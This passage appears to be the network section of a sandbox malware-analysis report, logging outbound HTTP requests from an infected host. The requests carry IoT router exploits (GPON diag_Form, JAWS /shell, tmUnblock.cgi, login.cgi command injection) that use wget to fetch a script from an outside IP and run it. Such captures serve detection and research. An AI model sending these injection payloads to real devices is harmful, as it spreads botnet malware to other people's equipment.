</SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1619	192.168.2.13	40348	212.90.125.205	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:24.783479929 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1620	192.168.2.13	56856	5.89.28.84	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:24.783498049 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1621	192.168.2.13	55464	212.144.166.106	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:24.783499956 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1622	192.168.2.13	52276	35.201.49.83	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:25.643688917 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:26.156223059 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:26.254445076 CET	1286	IN	HTTP/1.0 400 Bad Request Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1555 Date: Thu, 21 Mar 2024 04:23:26 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-devi
Mar 21, 2024 05:23:26.254487038 CET	450	IN	Data Raw: 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f Data Ascii: ce-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.go

Session ID	Source IP	Source Port	Destination IP	Destination Port
1623	192.168.2.13	52972	206.74.29.89	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:25.653209925 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:25.987337112 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:26.103332996 CET	364	IN	HTTP/1.1 505 HTTP Version not supported Content-Type: text/html; charset=utf-8 Content-Length: 140 Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 35 20 48 54 54 50 20 56 65 72 73 69 6f 6e 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 35 20 48 54 54 50 20 56 65 72 73 69 6f 6e 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>505 HTTP Version not supported</title></head><body><center><h1>505 HTTP Version not supported</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1624	192.168.2.13	43734	185.20.144.188	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:25.750837088 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:25.935700893 CET	115	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
1625	192.168.2.13	51702	79.96.170.234	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:25.750998974 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:25.941677094 CET	285	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:23:25 GMT Content-Type: text/html Content-Length: 128 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 6f 70 73 21 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Oops! 400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1626	192.168.2.13	35762	172.64.82.233	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:25.891064882 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1627	192.168.2.13	40048	172.64.156.144	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:25.891141891 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1628	192.168.2.13	51398	172.66.45.89	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:25.894535065 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1629	192.168.2.13	54770	172.67.30.213	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:25.978543043 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1630	192.168.2.13	58140	177.86.195.29	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:26.163817883 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:26.872370958 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:27.105887890 CET	301	IN	HTTP/1.1 200 OK Content-Type:text/html Pragma:no-cache Cache-control:no-cache, no-store, max-age=0 Transfer-Encoding:chunked X-Frame-Options:SAMEORIGIN Connection:Keep-Alive X-XSS-Protection:1; mode=block Content-Security-Policy:default-src 'self' 'unsafe-inline' 'unsafe-eval'
Mar 21, 2024 05:23:27.105992079 CET	1286	IN	Data Raw: 63 62 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 Data Ascii: cb7<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=ut
Mar 21, 2024 05:23:27.106046915 CET	1286	IN	Data Raw: 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 66 6f 72 20 28 76 61 72 20 69 20 3d 20 30 3b 20 69 20 3c 20 4c 69 73 74 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 0d 0a 20 20 20 20 7b 0d 0a 20 20 20 20 Data Ascii: return false; } for (var i = 0; i < List.length; i++) { if (false == IsIPv6AddressUshortValid(List[i])) { return false; } } return true; }function IsIPv6A
Mar 21, 2024 05:23:27.106077909 CET	731	IN	Data Raw: 65 73 73 56 61 6c 69 64 28 48 6f 73 74 49 6e 66 6f 29 29 0d 0a 7b 0d 0a 2f 2a 20 68 6f 73 74 20 73 74 72 69 6e 67 20 6e 6f 74 20 69 6e 63 6c 75 64 65 20 70 6f 72 74 20 2a 2f 0d 0a 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 3d 22 68 74 74 70 73 Data Ascii: essValid(HostInfo)){/* host string not include port */window.location="https://[" + HostInfo + "]:" + SSLPort;}else{var newipv6addr = HostInfo.substr(0,lastindex);var newipv6port = HostInfo.substr(lastindex+1);if (IsMaintWan
Mar 21, 2024 05:23:28.496002913 CET	731	IN	Data Raw: 65 73 73 56 61 6c 69 64 28 48 6f 73 74 49 6e 66 6f 29 29 0d 0a 7b 0d 0a 2f 2a 20 68 6f 73 74 20 73 74 72 69 6e 67 20 6e 6f 74 20 69 6e 63 6c 75 64 65 20 70 6f 72 74 20 2a 2f 0d 0a 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 3d 22 68 74 74 70 73 Data Ascii: essValid(HostInfo)){/* host string not include port */window.location="https://[" + HostInfo + "]:" + SSLPort;}else{var newipv6addr = HostInfo.substr(0,lastindex);var newipv6port = HostInfo.substr(lastindex+1);if (IsMaintWan

Session ID	Source IP	Source Port	Destination IP	Destination Port
1631	192.168.2.13	47412	1.94.68.134	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:26.615772009 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:28.493750095 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:28.852031946 CET	313	IN	HTTP/1.1 400 Bad Request Server: CloudWAF Date: Thu, 21 Mar 2024 04:23:28 GMT Content-Type: text/html Content-Length: 153 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 57 41 46 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>CloudWAF</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1632	192.168.2.13	35562	184.56.40.228	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:26.946926117 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1633	192.168.2.13	42198	90.183.166.132	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:27.472052097 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:27.653204918 CET	441	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:23:27 GMT Server: Apache/2.4.57 (CentOS Stream) OpenSSL/3.0.7 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1634	192.168.2.13	35630	212.149.156.94	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:27.472543955 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:27.673650980 CET	516	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:23:27 GMT Server: Apache/2.4.38 (Debian) Content-Length: 322 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 62 6f 67 75 73 5f 68 6f 73 74 5f 77 69 74 68 6f 75 74 5f 72 65 76 65 72 73 65 5f 64 6e 73 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.38 (Debian) Server at bogus_host_without_reverse_dns Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1635	192.168.2.13	42250	213.176.57.77	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:27.626039028 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:27.783607960 CET	307	IN	HTTP/1.1 400 Bad Request Server: WAF Date: Thu, 21 Mar 2024 04:23:27 GMT Content-Type: text/html Content-Length: 164 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 57 41 46 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>WAF</center></body></html>

